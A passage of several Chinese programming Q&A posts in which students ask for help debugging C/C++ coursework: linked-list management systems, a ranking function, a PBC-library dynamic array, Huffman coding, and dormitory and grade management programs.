head->next&&p->next!=NULL) head->next = p->next; else if(p==head->next&&p->next==NULL) { head->next=p->next; printf("信息已删除,先此通讯录为空!!\n"); return; } else p1->next = p->next; } else { printf("此信息不存在!!!\n"); return; } printf("此信息已删除!"); printf("职工号\t姓名\t性别\t出生年月\t学历\t职务\t工资\t地址\t电话\n"); for(p2=head->next;p2!=NULL;p2=p2->next) printf("%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",p->num,p->name,p->sex,p->year,p->school,p->zhiwei,p->money,p->address,p->tel); head=write_in(head); } //显示所有员工记录 void List() { head=write_out(); phone *p; if(head->next==NULL) { printf("此系统中无记录!\n"); return; } printf("职工号\t姓名\t性别\t出生年月\t学历\t职务\t工资\t地址\t电话\n"); for(p=head->next;p!=NULL;p=p->next) printf("%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",p->num,p->name,p->sex,p->year,p->school,p->zhiwei,p->money,p->address,p->tel); } int main() { int choice; char yes_no; Initiate(); do { Menu(); printf("请选择0-5的数字\n"); scanf("%d",&choice); printf("\n"); switch(choice) { case 1:Create(); break; case 2:Find(); break; case 3:Alter(); break; case 4:Delete(); break; case 5:List(); break; case 6:tongji(); break; case 7:paixu(); break; case 0: printf("************感谢您的使用************\n"); exit(0); break; default: printf("输入有误!请重新输入\n"); break; } printf("是否继续 Y or N? \n"); do { scanf("%c",&yes_no); }while(yes_no!='Y'&&yes_no!='y'&&yes_no!='N'&&yes_no!='n'); }while(yes_no=='Y'||yes_no=='y'); } enum Color { black, blue, green, lakeBlue, red, purple, yellow, white, gray, lightBlue, lightGreen, lightSimpleGreen, lightRed, lightPurple, lightYellow, brightWhite }; void setColor(unsigned short backColor=0, unsigned short textColor=7){ char command[9]="color 07"; //默认颜色 command[6]='0'+backColor; //将backColor变量改为字符型 command[7]='0'+textColor; //将textColor变量改为字符型 system(command); //调用系统函数 } void tongji() { int n=0; phone *p; char school[50]; if(head->next==NULL) { printf("此系统为空!\n"); return; } printf("请输入要查找的学历:\n"); scanf("%s",&school); for(p=head->next;p!=NULL;p=p->next) { if(strcmp(p->school,school)==0) { printf("职工号\t姓名\t性别\t出生年月\t学历\t职务\t工资\t地址\t电话\n"); printf("%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",p->num,p->name,p->sex,p->year,p->school,p->zhiwei,p->money,p->address,p->tel); n++; } else if(p->next==NULL) printf("无此信息!\n"); } printf("该学历人数有%d",n); printf("\n"); head=write_in(head); }
两个指针指向同一个节点,明明对两个指针操作一样却一个正常,一个无法读取内存,急求大佬解惑
求大佬帮忙解惑,万分感谢 出错函数代码如下 ``` struct StuLink*Rank_Link(struct StuLink*list) { struct StuLink *p1,*p2; p1=list;p2=list; for(;p1!=NULL ;p1=p1->next) for(;p2!=NULL;p2=p2->next) { if(p1->xh ==p2->xh ) continue; if(p1->cj<p2->cj) p1->mc++; } return list; } ``` + p1 0x00be9f38 {xh=1 xm=0x00be9f3c "aaa" cj=88 ...} StuLink * + p2 0xcdcdcdcd {xh=??? xm=0xcdcdcdd1 <读取字符串的字符时出错。> cj=??? ...} StuLink * /*设计Rank_Link函数(10分):计算学生链表中每个学生的名次 名次规则:按成绩降序排名,从第1名开始依次排名,若出现并列名次,则名次需要叠加 例如,若出现5个并列第1名,则没有第2名,下一个名次是第6名,依此类推。*/ 完整简化程序如下 ``` #include<stdio.h> #include<string.h> #include<stdlib.h> /*定义单向链表类型StuLink,链表结点包含xh、xm、cj、dj、mc、nxet六个数据项 分别代表学生的学号、姓名、成绩、等级、名次和指向下一个结点的指针, 其中:学号、姓名、成绩是输入项,等级、名次是计算项*/ struct StuLink*Creat_Link(); //创建链表 struct StuLink*Rank_Link(struct StuLink*list); //计算名次 void display(struct StuLink *p); //输出一个结点的内容 struct StuLink*Sort_Link(struct StuLink *list,int n);//链表排序 struct StuLink*Output_Link(struct StuLink*list);//链表按顺序输出 void menu1();//一级菜单 void menu2(); //创建链表 struct StuLink { int xh; char xm[20]; int cj; char dj; int mc; struct StuLink*next; }; int main() { struct StuLink *list; list=Creat_Link(); Rank_Link(list); Output_Link(list); return 0; } struct StuLink*Creat_Link() { struct StuLink*list=0,*p1=0,*p2;int i=0; int score;char name[20]; //list->xh =0;p2=list; printf("\n输入成绩为-1,结束输入!\n"); printf("请输入学生姓名"); scanf("%s",name); printf("请输入学生成绩"); scanf("%d",&score ); while(score!=-1) { if(score<0||score>100) { printf("输入成绩格式错误,请重新输入正确的学生成绩\n"); scanf("%d",&score ); continue ; } if( (p1=(struct StuLink*)malloc(sizeof(struct StuLink))) ==0) { printf("动态内存空间分配失败\n"); exit(0); } else { switch(score/10) { case 9:p1->dj='A';break; //计算等级 case 8:p1->dj='B';break; case 7:p1->dj='C';break; case 6:p1->dj='D';break; default:p1->dj='E'; } i++; p1->xh =i; p1->cj =score; p1->mc=1; strcpy(p1->xm,name); if(list==0) list=p1; else p2->next=p1; p2=p1; printf("请输入学生姓名 "); scanf("%s",name); printf("请输入学生成绩 "); scanf("%d",&score); } } return list; } void display(struct StuLink*p) { printf("学号 %d",p->xh); printf("姓名 %s",p->xm); printf("成绩 %d",p->cj); printf("等级 %c",p->dj); /*if(p->mc>1)*/ printf("名次 %d\n",p->mc); /*else printf("kong\n");*/ /*if(p->mc) printf("名次 %d\n",p->mc); else printf("kong");*/ } struct StuLink*Rank_Link(struct StuLink*list) { struct StuLink *p1,*p2; p1=list;p2=list; for(;p1!=NULL ;p1=p1->next) for(;p2!=NULL;p2=p2->next) { if(p1->xh ==p2->xh ) continue; if(p1->cj<p2->cj) p1->mc++; } return list; } struct StuLink*Output_Link(struct StuLink*list) { struct StuLink *p3=list; for(;p3!=NULL ;p3=p3->next) display(p3); } ```
C语言PBC库中的动态数组问题
我在用PBC库进行椭圆曲线上的属性签名仿真时遇到如下问题: ``` printf("请输入总的属性个数:\n"); scanf("%d",&n); for(i=1;i<=n;i++) { element_random(ti);//随机生成元素变量ti darray_append(Lt,ti);//向动态数组Lt中追加元素变量ti element_printf("t%d=%B\n",i,ti);//单独打印输出 } darray_show(Lt);//再次打印数组 ``` 动态数组已经定义并初始化了,但显示结果却是这样: ![追加图片说明](https://img-ask.csdn.net/upload/201804/25/1524643100_394481.png) 通过darray_show()函数打印的值是完全一样的16进制数!我想知道是darray_show()函数的问题,还是函数darray_append()的问题或者其它。两个函数的源程序如下: ``` void darray_show(darray_ptr a) { int i; for (i=0;i<a->count;i++) { printf("%d:%p\n",i,a->item[i]); } } ``` ``` void darray_append(darray_t a, void *p) { if (a->count == a->max) { if (!a->max) a->max = max_init; else a->max *= 2; a->item = pbc_realloc(a->item, sizeof(void *) * a->max); } a->item[a->count] = p; a->count++; } ``` 我试着把函数darray_show()中的字符格式%p改为%B后显示如下: ![图片说明](https://img-ask.csdn.net/upload/201804/25/1524647639_542719.png)此时0,1,2后面显示了不同的值, 在此恳请大佬们指点一下,谢谢!
C/C++ char类型指针数组输入问题
# C/C++ char类型指针数组输入问题 数据结构课程设计,要求从终端读入字符集大小n,以及n个字符和n个权值,建立哈夫曼树并将它存于文件hfmTree中.将已在内存中的哈夫曼树以直观的方式(比如树)显示在终端上。 程序代码如下: ```cpp #include <iostream> #include <string.h> #define N 50 #define M 2*N-1 #define MAX 100 using namespace std; typedef struct { char data[5]; int weight; int parent; int lchild; int rchild; }HTNode; typedef struct { char cd[N]; int start; }HCode; void CreatHT(HTNode ht[], int n) { int i,k,lnode,rnode; int min1,min2; for (i=0; i<2*n-1; i++) { ht[i].parent=ht[i].lchild=ht[i].rchild=-1; } for (i=n; i<2*n-1; i++) { min1=min2=32767; lnode=rnode=-1; for (k=0; k<=i-1; k++) { if (ht[k].parent==-1) { if (ht[k].weight<min1) { min2=min1; rnode=lnode; min1=ht[k].weight; lnode=k; } else if (ht[k].weight<min2) { min2=ht[k].weight; rnode=k; } } } ht[lnode].parent=i; ht[rnode].parent=1; ht[i].weight=ht[lnode].weight+ht[rnode].weight; ht[i].lchild=lnode; ht[i].rchild=rnode; } } void CreatHCode(HTNode ht[], HCode hcd[], int n) { int i,f,c; HCode hc; for (i=0; i<n; i++) { hc.start=n; c=i; f=ht[i].parent; while (f!=-1) { if (ht[f].lchild==c) { hc.cd[hc.start--]='0'; } else { hc.cd[hc.start--]='1'; } c=f; f=ht[f].parent; } hc.start++; hcd[i]=hc; } } void DispHCode(HTNode ht[], HCode hcd[], int n) { int i,k; int sum=0,m=0,j; printf("输出哈弗曼编码:\n"); for (i=0; i<n; i++) { j=0; printf(" %s:\t", ht[i].data); for (k=hcd[i].start; k<=n; k++) { printf("%c", hcd[i].cd[k]); j++; } m+=ht[i].weight; sum+=ht[i].weight*j; } printf("\n平均长度=%g\n", 1.0*sum/m); } int main(int argc, const char * argv[]) { // insert code here... int n,i; char *str[MAX];//这里定义了一个指针数组存放哈夫曼编码 int fnum[MAX]; HTNode ht[M]; HCode hcd[N]; printf("输如字符集大小:"); scanf("%d", &n); printf("输入%d个字符:", n); for (i=0; i<n; i++) { scanf("%s", str[i]);//这里的输入应该如何修改? } printf("输入%d个权值:", n); for (i=0; i<n; i++) { scanf("%d", &fnum[i]); } for (i=0; i<n; i++) { strcpy(ht[i].data, str[i]); ht[i].weight=fnum[i]; } CreatHT(ht, n); CreatHCode(ht, hcd, n); DispHCode(ht, hcd, n); return 1; } ``` 有问题的地方已在主函数中注释,其他的函数都是哈夫曼树的基本算法。 困扰许久求大佬解决!
有关宿舍管理系统的一些问题
以下是宿舍管理系统的程序。请问一下如何更改能使学号这一成员允许输入的数字更多并成功输出。还有就是这个程序执行后有字体颜色,这是为什么,可以调整吗,如何调整。谢谢大佬 //采用顺序线性表解决宿舍管理问题 (C语言) #include<stdio.h> #include<stdlib.h> #include<string.h> #define N 40 //线性表存储空间的初始分配量 #define increase 10 //线性表存储空间的分配量增量 int f,t=0; //定义全局变量 typedef struct { char name[20]; int num; //学号和房号都为整型 int room; }stu; stu stud; typedef struct { int length; //当前长度 stu *elem; //存储空间基址 int listsize; //当前分配的存储容量 }linklist; void init(linklist &l)//线性表初始化 { l.length=0; l.elem=(stu *)malloc(N*sizeof(stu )); l.listsize=N; } void menu()//操作菜单 { printf("\n"); printf(" ***************请按键选择操作****************\n"); printf("\n");printf("\n"); printf(" 1 按姓名排序 2 按学号排序\n"); printf("\n"); printf(" 3 按房号排序 4 按姓名查找\n"); printf("\n"); printf(" 5 按学号查找 6 按房号查找\n"); printf("\n"); printf(" 7 按学号插入 8 按学号删除\n"); printf("\n"); printf("\n"); printf("\n"); printf("\n"); printf("提示:当输入的数字键为0时,退出操作\n"); if(t==1) { printf("请输入数字键(1~8为操作键):");//1~8为有效数字操作键 scanf("%d",&f); if(f<0||f>9) { system("cls"); printf("\n"); printf("输入数字不对,请在原处重输!\n"); printf("\n"); menu(); } } } void disp() //返回主界面 { char c; fflush(stdin); printf("\n"); printf("请按任意键进入主界面:"); scanf("%c",&c); system("cls"); } void panduan3() //如果已无学生记录则返回主界面 { printf("\n"); printf("已无学生记录\n"); printf("\n"); disp(); menu(); } void shuru(linklist l) //输入学生的信息 { printf("请输入姓名:"); fflush(stdin); // 清空输入缓冲区,得到正确的输入数据 gets(stud.name); //输入一行字符串(姓名) printf("请输入学号:"); scanf("%d",&stud.num); printf("请输入房号:"); scanf("%d",&stud.room); } void create(linklist &l)//创建学生信息表 { if(l.length>=l.listsize) //判断学生的人数是否超过初值,如果超过,则重新分配 { stu *newbase; newbase=(stu*)realloc(l.elem,(N+increase)*sizeof(stu )); l.elem=newbase; l.listsize+=increase; } int i=2; char ch; printf("\n"); printf(" **************************开始创建线性表***************************\n");printf("\n"); printf("请输入第1个学生的信息\n"); shuru(l); //调用输入函数 ch=getchar(); strcpy(l.elem[l.length].name,stud.name); l.elem[l.length].num=stud.num; l.elem[l.length].room=stud.room; l.length++; printf("\n"); printf("是否继续输入?<y/n>:"); scanf("%c",&ch); printf("\n");printf("\n"); while(ch=='y') { printf("请输入第%d个学生的信息\n",i); shuru(l); strcpy(l.elem[l.length].name,stud.name); l.elem[l.length].num=stud.num; l.elem[l.length].room=stud.room; l.length++; i++; ch=getchar(); printf("\n"); printf("是否继续输入?<y/n>:"); scanf("%c",&ch); printf("\n");printf("\n"); } if(ch=='n') system("cls"); } void sort3(linklist &l)//按房号排序(采用冒泡排序) { int i,j; stu temp; for(i=0;i<l.length-1;i++) for(j=i+1;j<l.length;j++) if(l.elem[i].room>l.elem[j].room) { temp=l.elem[i]; l.elem[i]=l.elem[j]; l.elem[j]=temp; } } void sort2(linklist &l)//按学号排序(采用冒泡排序) { int i,j; stu temp; for(i=0;i<l.length-1;i++) for(j=i+1;j<l.length;j++) if(l.elem[i].num>l.elem[j].num) { temp=l.elem[i]; l.elem[i]=l.elem[j]; l.elem[j]=temp; } } void sort1(linklist &l)//按姓名排序(采用冒泡排序) { int i,j; stu temp; for(i=0;i<l.length-1;i++) for(j=i+1;j<l.length;j++) if(strcmp(l.elem[i].name,l.elem[j].name)>0) { temp=l.elem[i]; l.elem[i]=l.elem[j]; l.elem[j]=temp; } } void print1(linklist &l)//打印学生信息 { int i; printf("\n"); printf("姓名 学号 房号\n");printf("\n"); for(i=0;i<l.length;i++) printf("%-15s %-3d %5d\n",l.elem[i].name,l.elem[i].num,l.elem[i].room); } void print2(linklist &l,int mid) //打印查找到的学生信息 { printf("查找成功----->该学生信息为:\n"); printf("姓名 学号 房号\n");printf("\n"); printf("%-15s %-5d %-5d\n",l.elem[mid].name,l.elem[mid].num,l.elem[mid].room); } int panduan1(char ch) //判断是否继续查找 { scanf("%c",&ch); printf("是否继续查找?<y/n>:"); fflush(stdin); scanf("%c",&ch); if(ch=='y') { system("cls"); return(1); } else return 0; } int panduan2(char ch) //如果学生不存在,判断是否继续查找 { scanf("%c",&ch); printf("该学生不存在,是否继续查找?<y/n>:"); fflush(stdin); scanf("%c",&ch); if(ch=='y') { system("cls"); return(1); } else return 0; } void chazhao3(linklist &l)//按房号从小到大查找(采用二分查找) { if(l.length==0) panduan3(); //此函数功能为:返回主界面 else { int low=0,high=l.length,mid,flag=0;//flag作为标志符,为1则表示查找成功,否则没有所要查找的学生 int m; char ch; printf("\n");printf("\n"); printf("按房号查找----->请输入要查找的房号:"); scanf("%d",&m); printf("\n"); while(low<=high) { mid=(low+high)/2; if(m==l.elem[mid].room) { flag=1; break; } else if(m>l.elem[mid].room) low=mid+1; else high=mid-1; } if(flag==1) { print2(l,mid); if(panduan1(ch)) //调用判断函数1 chazhao3(l); else { system("cls"); menu(); } } else { if(panduan2(ch)) //调用判断函数2 chazhao3(l); else { system("cls"); menu(); } } } } void chazhao2(linklist &l)//按学号从小到大查找(采用二分查找) { if(l.length==0) panduan3(); else { int low=0,high=l.length,mid,flag=0; int n; char ch; printf("\n");printf("\n"); printf("按学号查找----->请输入要查找的学号:"); scanf("%d",&n); printf("\n"); while(low<=high) { mid=(low+high)/2; if(n==l.elem[mid].num) { flag=1; break; } else if(n>l.elem[mid].num) low=mid+1; else high=mid-1; } if(flag==1) { print2(l,mid); if(panduan1(ch)) chazhao2(l); else { system("cls"); menu(); } } else { if(panduan2(ch)) chazhao2(l); else { system("cls"); menu(); } } } } void chazhao1(linklist &l)//按姓名从小到大查找(采用二分查找) { if(l.length==0) panduan3(); else { int low=0,high=l.length,mid,flag=0; printf("\n");printf("\n"); printf("按姓名查找----->请输入要查找的姓名:"); char a[15],ch; scanf("%s",a); printf("\n"); while(low<=high) { mid=(low+high)/2; if(strcmp(a,l.elem[mid].name)==0) { flag=1; break; } else if(strcmp(a,l.elem[mid].name)>0) low=mid+1; else high=mid-1; } if(flag==1) { print2(l,mid); //打印查找到的学生的信息 if(panduan1(ch)) chazhao1(l); else { system("cls"); menu(); } } else { if(panduan2(ch)) chazhao1(l); else { system("cls"); menu(); } } } } void insert(linklist &l)//按学号从小到大插入该学生 { int i,j,k; char ch; printf("\n"); printf("插入的学生信息为:\n"); printf("姓名:"); fflush(stdin);// 清空输入缓冲区,得到正确的输入数据 gets(stud.name); printf("学号:"); scanf("%d",&stud.num); printf("房号:"); scanf("%d",&stud.room); if(l.length==0) { strcpy(l.elem[l.length].name,stud.name); l.elem[l.length].num=stud.num; l.elem[l.length].room=stud.room; } for(i=0;i<l.length;i++) { if(stud.num<l.elem[i].num) { k=i; for(j=l.length;j>k;j--) l.elem[j]=l.elem[j-1]; strcpy(l.elem[k].name,stud.name); l.elem[k].num=stud.num; l.elem[k].room=stud.room; break; } else { strcpy(l.elem[l.length].name,stud.name); l.elem[l.length].num=stud.num; l.elem[l.length].room=stud.room; } } l.length++; fflush(stdin); printf("\n"); printf("是否继续插入?<y/n>:"); scanf("%c",&ch); if(ch=='y') insert(l); else system("cls"); } void Delete(linklist &l)//按学号删除该学生 { int i,j,k=-1; char ch; printf("\n");printf("\n"); printf("请输入要删除学生的学号:"); scanf("%d",&stud.num); for(i=0;i<l.length;i++) { if(stud.num==l.elem[i].num) { printf("该学生的信息为:\n");printf("\n"); printf("%-15s %-3d %7d\n",l.elem[i].name,l.elem[i].num,l.elem[i].room); k=i; for(j=k;j<l.length-1;j++) l.elem[j]=l.elem[j+1]; printf("\n"); break; } } if(i>=l.length) printf("该学生不存在\n"); if(k>=0)l.length--; fflush(stdin); printf("\n"); printf("是否继续删除?<y/n>:"); scanf("%c",&ch); system("cls"); if(ch=='y') Delete(l); else system("cls"); } int main() //主函数 { linklist l; //定义线性表 l init(l); //调用初始化函数 char ch; system("color a"); printf("\n"); printf(" *************************欢迎进入宿舍管理查询系统*************************\n"); printf("\n"); printf("请按任意键开始操作:"); scanf("%c",&ch); system("cls");//将屏幕先前显示的内容清理掉 create(l); //调用线性表创建函数 system("cls"); t=1; menu(); //调用主菜单函数 while(f!=0) { system("cls"); switch(f) { case 1: sort1(l); //调用按姓名排序函数 printf("\n"); if(l.length==0) { printf("已无学生记录\n"); printf("\n"); disp(); menu(); } else { printf("按姓名排序:\n"); print1(l); disp(); //调用返回主界面 menu(); } break; case 2: sort2(l); //调用按学号排序函数 printf("\n"); if(l.length==0) { printf("已无学生记录\n"); printf("\n"); disp(); menu(); } else { printf("按学号排序:\n"); print1(l); disp(); menu(); }break; case 3: sort3(l); //调用按房号排序函数 printf("\n"); if(l.length==0) { printf("已无学生记录\n"); printf("\n"); disp(); menu(); } else { printf("按房号排序:\n"); print1(l); disp(); menu(); }break; case 4:sort1(l); //先调用按姓名排序函数进行排序 chazhao1(l); //再调用按姓名查找函数进行(二分)查找 break; case 5: sort2(l); //先调用按学号排序函数进行排序 chazhao2(l); //再调用按学号查找函数进行(二分)查找 break; case 6: sort3(l); //先调用按房号排序函数进行排序 chazhao3(l); //再调用按房号查找函数进行(二分)查找 break; case 7: sort2(l); //调用插入函数 insert(l); system("cls"); printf("显示插入后的学生信息:\n");print1(l); disp(); menu(); break; case 8: Delete(l); //调用删除函数 if(l.length==0) { printf("\n"); printf("学生记录已被删除完\n"); printf("\n"); disp(); menu(); } else { printf("显示删除后的学生信息:\n"); print1(l); disp(); menu(); } break; } }return 0; }
大佬们,能帮忙改成指针式的程序,成绩也可以升序或者降序输出
#include <stdio.h> #include <stdlib.h> //exit函数头文件 #include <string.h> //字符串相关操作头文件 #define MAX_STUDENT 30 //最大学生数 //函数声明,本程序共10个子函数,每个函数对应一个操作 int mimayanzheng(); void student_scanf(int n); void student_printf(int n); int student_find_name(int n); int student_find_num(int n); void student_sort_num(int n); void student_sort_sum(int n); int student_alter_num(int n); int student_alter_name(int n); int student_delete_num(int n); int student_delete_name(int n); //全局数组变量,用于存储学生信息 char names[MAX_STUDENT][50]; int math[MAX_STUDENT]; int english[MAX_STUDENT]; int computer[MAX_STUDENT]; int sum[MAX_STUDENT]; int num[MAX_STUDENT]; //以下变量用于学生信息数组排序,作为临时数组 int temp_num[MAX_STUDENT]; char temp_names[MAX_STUDENT][50]; int temp_math[MAX_STUDENT]; int temp_english[MAX_STUDENT]; int temp_computer[MAX_STUDENT]; int temp_sum[MAX_STUDENT]; //sort数组存储排好序的学号或姓名下标 int sort[MAX_STUDENT]; //循环全局变量 int i,j; //main主函数 int main(void) { int choice,n; int x; x=mimayanzheng(); if(x==1) { while (1) { printf("*************************************\n"); printf("欢迎使用学生成绩管理系统\n"); printf("[1] 输入所有学生信息\n"); printf("[2] 输出所有学生成绩\n"); printf("[3] 按学号查找某个学生信息\n"); printf("[4] 按姓名查找某个学生信息\n"); printf("[5] 按学号对学生排序\n"); printf("[6] 按总成绩对学生排序\n"); printf("[7] 按学号修改某个学生信息\n"); printf("[8] 按姓名修改某个学生信息\n"); printf("[9] 按学号删除某个学生信息\n"); printf("[10] 按姓名删除某个学生信息\n"); printf("[0] 退出程序\n"); printf("请输入您的选择(0 - 10):"); scanf("%d",&choice); printf("**************************************)\n"); switch (choice) { case 1://录入; printf("请输入录入的学生信息数: "); scanf("%d",&n); student_scanf(n); break; case 2://输出; student_printf(n); break; case 3://根据学号查找 student_find_num(n); break; case 4://根据姓名查找 student_find_name(n); break; case 5://按学号排序 student_sort_num(n); break; case 6://按姓名排序 student_sort_sum(n); break; case 7://按学号修改 student_alter_num(n); break; case 8://按姓名修改 student_alter_name(n); break; case 9://按学号删除 student_delete_num(n); n--; break; case 10://按姓名删除 student_delete_name(n); n--; break; case 0://退出程序 printf("退出程序\n"); printf("程序结束,谢谢使用!\n"); exit(0); default: printf("您输入的菜单有误。请重新输入!\n"); } } return 0; } } //1.输入信息 void student_scanf(int n) { for (i = 0; i<n; ++i) { printf("\n请输入第%d个学生的信息:\n", i + 1); printf("\n学号:"); scanf("%d", &num[i]); printf("\n姓名:"); scanf("%s", names[i]); printf("\n数学成绩:"); scanf("%d", &math[i]); printf("\n英语成绩:"); scanf("%d", &english[i]); printf("\n计算机成绩:"); scanf("%d", &computer[i]); //计算总成绩 sum[i] = math[i] + english[i] + computer[i]; } } //2.打印信息 void student_printf(int n) { printf("\n学号\t姓名\t数学成绩\t英语成绩\t计算机成绩\t总成绩\n"); printf("----------------------------------------------------------\n"); for (i = 0; i<n; ++i) { printf("%d\t%s\t%d\t\t%d\t\t%d\t\t%d\n", num[i], names[i], math[i], english[i], computer[i], sum[i]); } printf("-------------------------------------------------------\n"); } //3.按学号查找 int student_find_num(int n) { int nums; int result; printf("请输入待查找的学生学号:"); scanf("%d",&nums); result= -1; for (i = 0; i<n; ++i) { if (nums == num[i]) { result = i; break; } } //最后判断q值 if (result == -1) { printf("没有该学生信息!\n"); return 0; } else { //先打印表头 printf("\n学号\t\t姓名\t\t数学成绩\t英语成绩\t计算机成绩\t总成绩\n"); //再打印数据 printf("%d\t\t%s\t\t%d\t\t%d\t\t%d\t%d\n", num[result], names[result], math[result], english[result], computer[result], sum[result]); printf("打印出查找结果!\n"); } return 1; } //4.用姓名查找成绩 int student_find_name(int n) { char name[200]; int result; printf("请输入待查找的学生姓名:"); scanf("%s", name); result = -1; for (i = 0; i<n; ++i) { if (strcmp(name, names[i]) == 0) { result = i; break; } } if (result == -1) {//未找到结果 printf("没有该学生信息!\n"); return 0; } else//找到结果 { printf("\n学号\t姓名\t数学成绩\t英语成绩\t计算机成绩\t总成绩\n"); printf("%d\t%s\t%d\t\t%d\t\t%d\t\t%d\n", num[result], names[result], math[result], english[result], computer[result], sum[result]); printf("已完成查找!\n"); } return 1; } //5.按学号排序 void student_sort_num(int n) { int min,max; for(i=0; i<n; ++i) //复制临时数组 { temp_num[i] = num[i]; } max = 0; //查找学号最大值,将其下标存至sort数组的最后一个值中 for(j=1; j<n; j++) { if(temp_num[max]<temp_num[j]) max = j; } sort[n-1] = max; //sort数组的最后一个数 for(i=0; i<n-1; ++i) { min = i; //查找学号最小值 for(j=0; j<n; ++j) { if(temp_num[min]>temp_num[j]) min = j; } //sort数组记录排序的学生信息的下标 sort[i] = min; temp_num[min] = temp_num[max]; //利用临时数组将查找过的学生信息的学号设为最大值,排除查找干扰 } for(i=0; i<n; ++i) //再复制一次临时数组 { temp_num[i] = num[i]; strcpy(temp_names[i],names[i]); temp_math[i] = math[i]; temp_english[i] = english[i]; temp_computer[i] = computer[i]; temp_sum[i] = sum[i]; } for(i=0; i<n; i++) //按照下标对原数组进行修改 { num[i] = temp_num[sort[i]]; strcpy(names[i],temp_names[sort[i]]); math[i] = temp_math[sort[i]]; english[i] = temp_english[sort[i]]; computer[i] = temp_computer[sort[i]]; sum[i] = temp_sum[sort[i]]; } printf("排序完毕,请按菜单键2查看排序结果!\n"); return ; } //6.按总成绩排序 void student_sort_sum(int n) { int min,max; for(i=0; i<n; ++i) //复制临时数组 { temp_sum[i] = sum[i]; } max = 0; //查找总成绩最大值,将其下标存至sort数组的最后一个值中 for(j=1; j<n; j++) { if(temp_sum[max]<temp_sum[j]) max = j; } sort[n-1] = max; //sort数组的最后一个数 for(i=0; i<n-1; ++i) { min = i; //查找总成绩最小值 for(j=0; j<n; ++j) { if(temp_sum[min]>temp_sum[j]) min = j; } //sort数组记录排序的学生信息的下标 sort[i] = min; temp_sum[min] = temp_sum[max]; //利用临时数组将查找过的学生信息的总成绩设为最大值,排除查找干扰 } for(i=0; i<n; ++i) //再复制一次临时数组 { temp_num[i] = num[i]; strcpy(temp_names[i],names[i]); temp_math[i] = math[i]; temp_english[i] = english[i]; temp_computer[i] = computer[i]; temp_sum[i] = sum[i]; } for(i=0; i<n; i++) //按照下标对原数组进行修改 { num[i] = temp_num[sort[i]]; strcpy(names[i],temp_names[sort[i]]); math[i] = temp_math[sort[i]]; english[i] = temp_english[sort[i]]; computer[i] = temp_computer[sort[i]]; sum[i] = temp_sum[sort[i]]; } printf("排序完毕,请按菜单键2查看排序结果!\n"); return ; } //7.按学号修改学生信息 int student_alter_num(int n) { int nums; int result; printf("请输入待修改的学生学号:"); scanf("%d",&nums); result= -1; for (i = 0; i<n; ++i) { if (nums == num[i]) { result = i; break; } } //最后判断q值 if (result == -1) { printf("没有该学生信息!\n"); return 0; } else //修改信息值 { printf("请重新输入该学生信息:\n"); printf("学号:\n"); scanf("%d",&num[result]); printf("姓名:\n"); scanf("%s",names[result]); printf("数学成绩:\n"); scanf("%d",&math[result]); printf("英语成绩:\n"); scanf("%d",&english[result]); printf("计算机成绩:\n"); scanf("%d",&computer[result]); sum[result] = math[result] + english[result] + computer[result]; } return 1; } //8.按姓名修改学生信息 int student_alter_name(int n) { char name[50]; int result; printf("请输入待修改的学生姓名:"); scanf("%s",name); result= -1; for (i = 0; i<n; ++i) { if (strcmp(name,names[i])==0) { result = i; break; } } //最后判断q值 if (result == -1) { printf("没有该学生信息!\n"); return 0; } else //修改信息值 { printf("请重新输入该学生信息:\n"); printf("学号:\n"); scanf("%d",&num[result]); printf("姓名:\n"); scanf("%s",names[result]); printf("数学成绩:\n"); scanf("%d",&math[result]); printf("英语成绩:\n"); scanf("%d",&english[result]); printf("计算机成绩:\n"); scanf("%d",&computer[result]); sum[result] = math[result] + english[result] + computer[result]; } return 1; } //9.按学号删除学生信息 int student_delete_num(int n) { int nums; int result; printf("请输入待删除的学生学号:"); scanf("%d",&nums); result= -1; for (i = 0; i<n; ++i) { if (nums == num[i]) { result = i; break; } } //最后判断q值 if (result == -1) { printf("没有该学生信息!\n"); return 0; } else //删除当前学生信息即为将数组从result的位置依次前挪一个位置 { for(i=result; i<n-1; ++i) //最后在main函数中,要将n的值减1 { num[i] = num[i+1]; strcpy(names[i],names[i+1]); math[i] = math[i+1]; english[i] = english[i+1]; computer[i] = computer[i+1]; sum[i] = sum[i+1]; } } return 1; } //10.按姓名删除学生信息 int student_delete_name(int n) { char name[50]; int result; printf("请输入待删除的学生姓名:"); scanf("%s",name); result= -1; for (i = 0; i<n; ++i) { if (strcmp(name,names[i])==0) { result = i; break; } } //最后判断q值 if (result == -1) { printf("没有该学生信息!\n"); return 0; } else //删除当前学生信息即为将数组从result的位置依次前挪一个位置 { for(i=result; i<n-1; ++i) //最后在main函数中,要将n的值减1 { num[i] = num[i+1]; strcpy(names[i],names[i+1]); math[i] = math[i+1]; english[i] = english[i+1]; computer[i] = computer[i+1]; sum[i] = sum[i+1]; } } return 1; } int mimayanzheng() { int i,flat; char m[7]="1",x[10]; printf("请输入口令:"); for(i=0;i<3;i++){ flat=0; scanf("%s",&x); if(!strcmp(m,x)){ flat=1; break; } else if(i<2) printf("请重新输入密码:"); } return flat; }
我用这个代码做不出来,希望大佬们能给我一个完整的能运行的程序代码,谢谢。
想要图中的结果但是出不来 ![图片说明](https://img-ask.csdn.net/upload/201812/06/1544086701_15340.jpg) #include<string.h> // 字符串函数头文件   #include<ctype.h> // 字符函数头文件   #include<malloc.h> // malloc()等   #include<limits.h> // INT_MAX等    #include<stdio.h> // 标准输入输出头文件,包括EOF(=^Z或F6),NULL等   #include<stdlib.h> // atoi(),exit()    #include<io.h> // eof()    #include<math.h> // 数学函数头文件,包括floor(),ceil(),abs()等    #include<sys/timeb.h> // ftime()    #include<stdarg.h> // 提供宏va_start,va_arg和va_end,用于存取变长参数表  // 函数结果状态代码。在教科书第10页   #define TRUE 1   #define FALSE 0   #define OK 1   #define ERROR 0       typedef int Status; // Status是函数的类型,其值是函数结果状态代码,如OK等    typedef int Boolean; // Boolean是布尔类型,其值是TRUE或FALSE,第7、8章用到     // 赫夫曼树和赫夫曼编码的存储结构    typedef struct // 结点的结构,在教科书第147页  { unsigned int weight; // 结点的权值      unsigned int parent,lchild,rchild;    } HTNode,*HuffmanTree; // 动态分配数组存储赫夫曼树     typedef char **HuffmanCode; // 动态分配数组存储赫夫曼编码表           int min(HuffmanTree t,int i)    { // 返回赫夫曼树t的前i个结点中权值最小的树的根结点序号,函数select()调用     int j,m;      unsigned int k; // k存最小权值,初值取为不小于可能的值(无符号整型最大值)     